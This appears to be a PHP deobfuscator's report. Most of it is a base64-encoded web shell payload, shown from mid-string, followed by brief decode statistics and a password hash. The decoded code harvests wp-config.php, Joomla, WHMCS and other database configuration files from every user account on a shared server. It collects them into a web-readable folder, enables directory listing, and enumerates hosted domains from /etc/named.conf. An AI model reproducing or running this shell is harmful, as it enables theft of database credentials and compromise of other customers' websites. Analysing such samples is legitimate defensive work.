ywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDE1IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDE2ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDE2IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MTcgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQxNyAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDE4ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MTggLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDE5ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQxOSAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQyMCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQyMCAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDIxID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MjEgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MjIgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MjIgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MjMgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MjMgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MjQgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MjQgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQyNSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDI1IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDI2ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDI2IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDI3ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDI3IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MjggPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQyOCAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MjkgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDI5IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDMwID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDMwIC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDMxID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDMxIC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQzMiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MzIgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDMzID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQzMyAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MzQgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDM0IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDM1ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDM1IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MzYgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQzNiAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MzcgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDM3IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY29ubmVjdC5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQzOCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY29ubmVjdC5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MzggLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDM5ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQzOSAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDQwID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50NDAgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQ0MSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDQxIC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDQyID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDQyIC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQ0MyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50NDMgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR1cmwgPSAnaHR0cDovLycgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuIGRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pIC4gJ3BjYS8nOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygicGNhL2NvbmZpZy50eHQiKSkgewogICAgICAgICAgICBlY2hvICc8aDMgY2xhc3M9InBjYSI+PGNlbnRlcj48YSBocmVmPSInIC4gJHVybCAuICciIHRhcmdldD0iX2JsYW5rIj4gQ29uZmlnIEZvdW5kIF5fXjwvYT48L2gzPic7CgkJCSRteWZpbGUgPSBmb3BlbigicGNhLy5odGFjY2VzcyIsICJ3Iikgb3IgZGllKCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwokdHh0ID0gIk9wdGlvbnMgK0luZGV4ZXMiOwpmd3JpdGUoJG15ZmlsZSwgJHR4dCk7CmZjbG9zZSgkbXlmaWxlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8aDMgY2xhc3M9InBjYSI+PGNlbnRlcj48YSBocmVmPSInIC4gJHVybCAuICciIHRhcmdldD0iX2JsYW5rIj4gMCBDb25maWcgR3JhYiA6KCA8L2E+PC9oMz4nOwogICAgICAgIH0KCQogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU2hhcmVkKCkgewogICAgcHJpbnRIZWFkZXIoKTsKCSRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsKaWYgKCEkZmlsZSkgewpkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7Cn0KcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOwokZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7CnsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGRvbWFpbikgewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKJGFycmF5PSAiaHR0cDovLyRkb21haW4gIiAuICR1c2VyWyduYW1lJ10gLiAiPGJyPiI7CiRsb2w9ICcnIC4gZ2V0X2N1cnJlbnRfdXNlcigpOwppZiAoc3RycG9zKCRhcnJheSwgIiRsb2wiKSAhPT0gZmFsc2UpIHsKJHNoYXJlZCA9IHN0cl9yZXBsYWNlKGFycmF5KCIgJGxvbCIpLCAiIiwgJGFycmF5KTsKZWNobyAiPGNlbnRlcj4kc2hhcmVkIjsJCn0KfQp9CglwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblRlc3RpbmcoKSB7CiAgICBwcmludEhlYWRlcigpOwoJCglwcmludEZvb3RlcigpOwp9CgppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCj8+'));
?>

Function Calls

base64_decode 1

Variables

$auth_pass bacc600034a240d20c6ab99a989d793d

Stats

MD5 b4f04318dc84cb5ca1003acb055afcff
Eval Count 1
Decode Time 415 ms